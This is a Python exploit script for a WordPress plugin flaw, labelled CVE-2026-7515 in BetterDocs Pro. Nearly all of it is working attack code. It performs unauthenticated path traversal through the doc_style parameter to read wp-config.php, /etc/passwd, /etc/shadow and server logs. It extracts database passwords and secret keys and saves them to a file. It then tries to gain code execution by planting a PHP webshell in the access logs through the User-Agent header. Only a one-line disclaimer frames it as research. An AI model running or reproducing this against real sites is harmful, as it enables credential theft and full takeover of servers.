1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
"""
CVE-2026-7515 — BetterDocs Pro <= 3.8.0
Unauthenticated Local File Inclusion via doc_style parameter
CVSS: 9.8 Critical | CWE-98
Researcher: Nguyen Ngoc Duc (duc193)
DISCLAIMER: Authorized security testing and educational purposes only.
"""
import argparse
import re
import sys
import json
import time
import threading
import queue
from pathlib import Path
from datetime import datetime
import requests
import urllib3
from rich.console import Console
from rich.table import Table
from rich.panel import Panel
from rich.text import Text
from rich.prompt import Prompt
from rich.progress import Progress, SpinnerColumn, TextColumn, BarColumn, TaskProgressColumn
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
console = Console()
# ─────────────────────────────────────────────
# Constants
# ─────────────────────────────────────────────
AJAX_URL = "/wp-admin/admin-ajax.php"
ACTIONS = ["load_more_docs_section", "load_more_docs"]
# Traversal depths to try
TRAVERSALS = [
"../../../../../../",
"../../../../../",
"../../../../",
"../../../../../../../",
"....//....//....//....//....//....//",
"..%2F..%2F..%2F..%2F..%2F..%2F",
"%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f",
]
# Files to attempt reading (no extension — PHP include strips .php automatically)
SENSITIVE_FILES = [
("wp-config", "WordPress Config (DB creds, secret keys)"),
("etc/passwd", "Linux Users (/etc/passwd)"),
("etc/shadow", "Password Hashes (/etc/shadow)"),
("proc/self/environ", "Process Environ (env vars, paths)"),
("proc/self/cmdline", "Process Cmdline"),
("etc/hostname", "Hostname"),
("etc/hosts", "Hosts file"),
("home/www/.bash_history", "Bash History"),
("var/log/apache2/access.log", "Apache Access Log"),
("var/log/nginx/access.log", "Nginx Access Log"),
]
# Output files
RESULTS_FILE = "betterdocs_lfi_results.txt"
_file_lock = threading.Lock()
# ─────────────────────────────────────────────
# Output helpers
# ─────────────────────────────────────────────
def _save(url: str, action: str, traversal: str,
target: str, content: str) -> None:
ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
sep = "=" * 70
with _file_lock:
with open(RESULTS_FILE, "a", encoding="utf-8") as f:
f.write(f"\n{sep}\n")
f.write(f"[{ts}] LFI SUCCESS\n")
f.write(f"URL : {url}\n")
f.write(f"Action : {action}\n")
f.write(f"Traversal: {traversal}\n")
f.write(f"File : {target}\n")
f.write(f"{sep}\n")
f.write(content.strip() + "\n")
# ─────────────────────────────────────────────
# Step 1: Nonce extraction
# ─────────────────────────────────────────────
def fetch_nonce(base_url: str, session: requests.Session,
timeout: int) -> str | None:
"""
The _nonce is embedded in betterdocsEncyclopedia JS object
on any page that renders the BetterDocs Encyclopedia block.
We spider common pages to find it.
"""
console.print("[cyan]🔑 Searching for encyclopedia nonce...[/cyan]")
# Nonce patterns from betterdocs-encyclopedia.js
patterns = [
r"['\"]_nonce['\"]\s*:\s*['\"]([a-f0-9]{10})['\"]",
r"encyclopedia_nonce['\"]?\s*:\s*['\"]([a-f0-9]{10})['\"]",
r"betterdocsEncyclopedia\s*=\s*\{[^}]*['\"]_nonce['\"]\s*:\s*['\"]([a-f0-9]{10})['\"]",
r"nonce['\"]?\s*:\s*['\"]([a-f0-9]{10})['\"]",
]
# Pages to check
check_paths = [
"/",
"/docs/",
"/documentation/",
"/knowledge-base/",
"/encyclopedia/",
"/help/",
"/faq/",
"/?page_id=2",
"/?p=1",
]
for path in check_paths:
try:
r = session.get(base_url.rstrip("/") + path, timeout=timeout)
if r.status_code != 200:
continue
for pat in patterns:
m = re.search(pat, r.text, re.S)
if m:
nonce = m.group(1)
console.print(f"[green]✔ Nonce found on {path}: {nonce}[/green]")
return nonce
except Exception:
continue
# Try WordPress REST API nonce
try:
r = session.get(f"{base_url}/wp-json/", timeout=timeout)
m = re.search(r'"nonce"\s*:\s*"([a-f0-9]{10})"', r.text)
if m:
console.print(f"[green]✔ Nonce from REST API: {m.group(1)}[/green]")
return m.group(1)
except Exception:
pass
console.print("[yellow]⚠ Nonce not found automatically[/yellow]")
return None
# ─────────────────────────────────────────────
# Step 2: Verify BetterDocs is installed
# ─────────────────────────────────────────────
def verify_target(base_url: str, session: requests.Session,
timeout: int) -> dict:
"""Check if BetterDocs Pro is installed and get version info."""
console.print("[cyan]🔍 Verifying BetterDocs Pro installation...[/cyan]")
info = {"installed": False, "version": None, "vulnerable": None}
checks = [
"/wp-content/plugins/betterdocs-pro/readme.txt",
"/wp-content/plugins/betterdocs/readme.txt",
"/wp-content/plugins/betterdocs-pro/betterdocs-pro.php",
]
for path in checks:
try:
r = session.get(base_url.rstrip("/") + path, timeout=timeout)
if r.status_code == 200:
info["installed"] = True
# Extract version
m = re.search(r"Stable tag:\s*([\d.]+)", r.text)
if m:
info["version"] = m.group(1)
ver_parts = [int(x) for x in m.group(1).split(".")]
# Vulnerable if <= 3.8.0
info["vulnerable"] = ver_parts <= [3, 8, 0]
console.print(
f"[green]✔ BetterDocs Pro found[/green] "
f"version=[yellow]{info['version'] or 'unknown'}[/yellow]"
)
break
except Exception:
continue
if not info["installed"]:
# Soft check via AJAX response
try:
r = session.post(
base_url.rstrip("/") + AJAX_URL,
data={"action": "load_more_docs_section", "_nonce": "test"},
timeout=timeout
)
# BetterDocs returns specific error for invalid nonce
if "nonce" in r.text.lower() or "betterdocs" in r.text.lower():
info["installed"] = True
console.print("[yellow]⚠ BetterDocs detected via AJAX response[/yellow]")
except Exception:
pass
return info
# ─────────────────────────────────────────────
# Step 3: Core LFI exploit
# ─────────────────────────────────────────────
def exploit_lfi(base_url: str, session: requests.Session,
nonce: str, action: str, traversal: str,
target_file: str, page: int,
timeout: int) -> str | None:
"""
POST to admin-ajax.php with path traversal in doc_style.
Source: $_POST['doc_style'] → Sink: views->get("layouts/encyclopedia/$doc_style")
No authentication required (wp_ajax_nopriv_ hook).
"""
url = base_url.rstrip("/") + AJAX_URL
payload = f"{traversal}{target_file}"
data = {
"action": action,
"_nonce": nonce,
"doc_style": payload,
"page": str(page),
}
try:
r = session.post(url, data=data, timeout=timeout)
if r.status_code != 200:
return None
body = r.text.strip()
# Filter out empty / error-only responses
if not body or body in ("-1", "0", "false", "null"):
return None
# Filter out pure JSON error responses
try:
j = json.loads(body)
if isinstance(j, dict):
if j.get("success") is False and not j.get("data"):
return None
# Content may be in data key
if j.get("data") and isinstance(j["data"], str) and len(j["data"]) > 30:
return j["data"]
except Exception:
pass
# Positive indicators of file content
indicators = [
"DB_NAME", "DB_PASSWORD", "DB_HOST", "DB_USER", # wp-config
"root:x:", "root:!", "nobody:", # /etc/passwd
"#!/bin/", # shell scripts
"<?php", # PHP files
"define(", # PHP defines
"HTTP_HOST", "DOCUMENT_ROOT", "SERVER_ADDR", # environ
"[global]", "[mysqld]", # config files
"127.0.0.1", "localhost", # hosts
]
for indicator in indicators:
if indicator in body:
return body
# If body is substantial and not a typical WP error
if (len(body) > 100 and
"wp_die" not in body and
"Invalid nonce" not in body and
"You do not have" not in body):
return body
except requests.exceptions.Timeout:
pass
except Exception as e:
if "debug" in str(e).lower():
console.print(f"[dim red]Request error: {e}[/dim red]")
return None
# ─────────────────────────────────────────────
# Step 4: Parse wp-config.php content
# ─────────────────────────────────────────────
def parse_wp_config(content: str) -> dict:
"""Extract key values from wp-config.php content."""
patterns = {
"DB_NAME": r"define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]",
"DB_USER": r"define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]",
"DB_PASSWORD": r"define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]",
"DB_HOST": r"define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]",
"table_prefix": r"\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]",
"AUTH_KEY": r"define\s*\(\s*['\"]AUTH_KEY['\"]\s*,\s*['\"]([^'\"]{8,})['\"]",
"SECURE_AUTH_KEY": r"define\s*\(\s*['\"]SECURE_AUTH_KEY['\"]\s*,\s*['\"]([^'\"]{8,})['\"]",
"LOGGED_IN_KEY": r"define\s*\(\s*['\"]LOGGED_IN_KEY['\"]\s*,\s*['\"]([^'\"]{8,})['\"]",
"WP_DEBUG": r"define\s*\(\s*['\"]WP_DEBUG['\"]\s*,\s*(true|false)",
"ABSPATH": r"define\s*\(\s*['\"]ABSPATH['\"]\s*,\s*['\"]([^'\"]+)['\"]",
}
result = {}
for key, pat in patterns.items():
m = re.search(pat, content, re.S)
if m:
result[key] = m.group(1)
return result
# ─────────────────────────────────────────────
# Step 5: LFI → RCE path
# ─────────────────────────────────────────────
def lfi_to_rce_check(base_url: str, session: requests.Session,
nonce: str, traversal: str,
timeout: int) -> None:
"""
LFI → RCE via log poisoning.
1. Poison Apache/Nginx access log with PHP code via User-Agent
2. Include the log file via LFI
"""
console.print("\n[bold red]🔥 LFI → RCE: Log Poisoning Attempt[/bold red]")
# PHP webshell payload in User-Agent
shell_ua = "<?php system($_GET['cmd']); ?>"
log_files = [
("var/log/apache2/access.log", "Apache2 access log"),
("var/log/apache/access.log", "Apache access log"),
("var/log/nginx/access.log", "Nginx access log"),
("var/log/httpd/access_log", "HTTPD access log"),
("proc/self/environ", "Process environ"),
]
# Step 1: Poison the log
console.print("[cyan] [1/3] Poisoning log with PHP payload in User-Agent...[/cyan]")
try:
poison_session = requests.Session()
poison_session.verify = session.verify
poison_session.headers["User-Agent"] = shell_ua
poison_session.get(base_url, timeout=timeout)
console.print(f"[green] ✔ Payload sent: {shell_ua}[/green]")
except Exception as e:
console.print(f"[yellow] ⚠ Poison request: {e}[/yellow]")
time.sleep(1)
# Step 2: Try to include log via LFI
console.print("[cyan] [2/3] Attempting log inclusion via LFI...[/cyan]")
for log_file, log_name in log_files:
for action in ACTIONS:
content = exploit_lfi(
base_url, session, nonce, action,
traversal, log_file, 0, timeout
)
if content and "<?php" in content:
console.print(f"[bold green] ✔ Log included: {log_name}[/bold green]")
# Step 3: Execute command via included shell
console.print("[cyan] [3/3] Executing command via poisoned log...[/cyan]")
rce_url = (
f"{base_url.rstrip('/')}{AJAX_URL}"
f"?action={action}&cmd=id"
)
try:
r = session.post(rce_url, data={
"_nonce": nonce,
"doc_style": f"{traversal}{log_file}",
"page": "0",
}, timeout=timeout)
if r.status_code == 200:
console.print(Panel(
r.text[:500],
title="[bold red]💀 RCE Output[/bold red]",
border_style="red"
))
except Exception:
pass
return
console.print("[yellow] ⚠ Log poisoning RCE not successful (logs may not be readable)[/yellow]")
# ─────────────────────────────────────────────
# Single target full scan
# ─────────────────────────────────────────────
def run_scan(base_url: str, nonce: str | None, timeout: int,
verify: bool, proxies: dict | None,
files: list | None, try_rce: bool,
output_file: str) -> list:
"""
Full scan: verify → nonce → LFI all files → parse results.
Returns list of (action, traversal, file, content) tuples.
"""
global RESULTS_FILE
RESULTS_FILE = output_file
session = requests.Session()
session.verify = verify
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/124.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
})
if proxies:
session.proxies = proxies
console.print(Panel(
Text.from_markup(
f"[bold red]CVE-2026-7515 — BetterDocs Pro LFI[/bold red]\n"
f"[cyan]CVSS:[/cyan] [red]9.8 Critical[/red] | "
f"[cyan]CWE-98[/cyan] | Unauthenticated\n"
f"[cyan]Target:[/cyan] [green]{base_url}[/green]"
),
border_style="red",
title="[bold red]🎯 Exploit[/bold red]"
))
# Verify installation
info = verify_target(base_url, session, timeout)
if info["version"]:
vuln_str = "[bold red]VULNERABLE[/bold red]" \
if info["vulnerable"] else "[green]PATCHED[/green]"
console.print(f" Version : [yellow]{info['version']}[/yellow] → {vuln_str}")
# Get nonce
if not nonce:
nonce = fetch_nonce(base_url, session, timeout)
if not nonce:
console.print("[red]❌ Cannot proceed without nonce[/red]")
console.print("[dim]Hint: Find it in page source → betterdocsEncyclopedia._nonce[/dim]")
return []
console.print(f"[dim]Nonce: {nonce}[/dim]\n")
# Determine files to scan
scan_files = files if files else SENSITIVE_FILES
results = []
best_traversal = None # cache the working traversal
for target_file, description in scan_files:
console.print(f"[bold cyan]📄 {description}[/bold cyan]")
found = False
traversal_list = [best_traversal] + TRAVERSALS if best_traversal else TRAVERSALS
for traversal in traversal_list:
for action in ACTIONS:
for page in [1, 0]:
content = exploit_lfi(
base_url, session, nonce,
action, traversal, target_file,
page, timeout
)
if content:
best_traversal = traversal
results.append((action, traversal, target_file, content))
_save(base_url, action, traversal, target_file, content)
# Pretty print
display = content
extra = ""
# Parse wp-config specially
if "wp-config" in target_file and "DB_" in content:
parsed = parse_wp_config(content)
if parsed:
display = json.dumps(parsed, indent=2)
extra = (
f"\n[bold yellow]⚡ DB Credentials Extracted![/bold yellow]\n"
f" Host : [green]{parsed.get('DB_HOST','?')}[/green]\n"
f" DB : [green]{parsed.get('DB_NAME','?')}[/green]\n"
f" User : [green]{parsed.get('DB_USER','?')}[/green]\n"
f" Pass : [bold red]{parsed.get('DB_PASSWORD','?')}[/bold red]"
)
console.print(Panel(
display[:2000] + ("\n[dim]...[truncated][/dim]"
if len(display) > 2000 else ""),
title=f"[bold green]✔ {target_file}[/bold green] "
f"[dim]via {action} | {traversal}[/dim]",
border_style="green"
))
if extra:
console.print(extra)
console.print(f"[green]✔ Saved → {RESULTS_FILE}[/green]")
found = True
break
if found: break
if found: break
if not found:
console.print(f" [dim red]✗ Not readable[/dim red]")
# LFI → RCE attempt
if try_rce and best_traversal:
lfi_to_rce_check(base_url, session, nonce,
best_traversal, timeout)
|